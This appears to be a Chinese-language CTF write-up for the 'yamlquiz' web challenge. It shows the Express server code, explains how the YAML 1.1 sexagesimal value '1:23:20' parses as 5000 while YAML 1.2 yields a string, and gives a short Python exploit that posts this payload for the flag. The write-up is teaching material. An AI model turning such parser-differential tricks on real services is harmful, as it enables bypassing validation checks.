yamlquiz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| const express = require('express'); const YAML = require('yaml');
const PORT = process.env.PORT || 4455; const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';
const app = express();
app.use(express.urlencoded({extended: false})); app.use(express.static('static'));
app.post('/submit', (req, res) => { let result = req.body.result; let score = 0; if (result) { const result_parsed_1 = YAML.parse(result, null, {version: '1.1'}); const result_parsed_2 = YAML.parse(result, null, {version: '1.2'}); const score_1 = result_parsed_1?.result?.[0]?.score ?? 0; const score_2 = result_parsed_2?.result?.[0]?.score ?? 0; if (score_1 !== score_2) { score = score_1; } } else { score = 0; }
if (score === 5000) { res.json({pass: true, flag: FLAG}); } else { res.json({pass: false}); } });
app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));
|
- 服务端只开放了一个关键接口:
POST /submit,读取 application/x-www-form-urlencoded 类型的 result 字段。它把 result 当作 YAML 字符串,分别用 YAML 1.1 和 YAML 1.2 解析。
- 从两次解析的结果里取 result[0].score:
1 2
| const score_1 = result_parsed_1?.result?.[0]?.score ?? 0; const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
|
如果两者不相等,就把最终分数设成 score_1。注意这里用的是严格不等 !==,类型不同也算不等。
- 只有当
score === 5000 时才返回 { pass: true, flag: FLAG }。
关键在于:找一个 YAML 文本,使得在 YAML 1.1 下 result[0].score 是数字 5000,而在 YAML 1.2 下不是 5000(或类型不同),这样就会触发 score = score_1 且等于 5000。
利用 YAML 1.1 的六十进制数(sexagesimal)
YAML 1.1 支持形如 H:MM:SS 的六十进制数字,例如 1:23:20 会被当作 5000(= 1×3600 + 23×60 + 20)。而 YAML 1.2 不再把它当数字,通常会解析成字符串 "1:23:20"。
于是,两次解析得到的 score 类型/数值不同,score_1 !== score_2 成立,最终分数被设置为 5000,从而拿到 FLAG。
exp.py
1 2 3 4 5
| import requests url = "https://yamlquiz.ctfi.ng/submit" data = {"result": "result:\n - score: 1:23:20"} res = requests.post(url, data=data) print(res.text)
|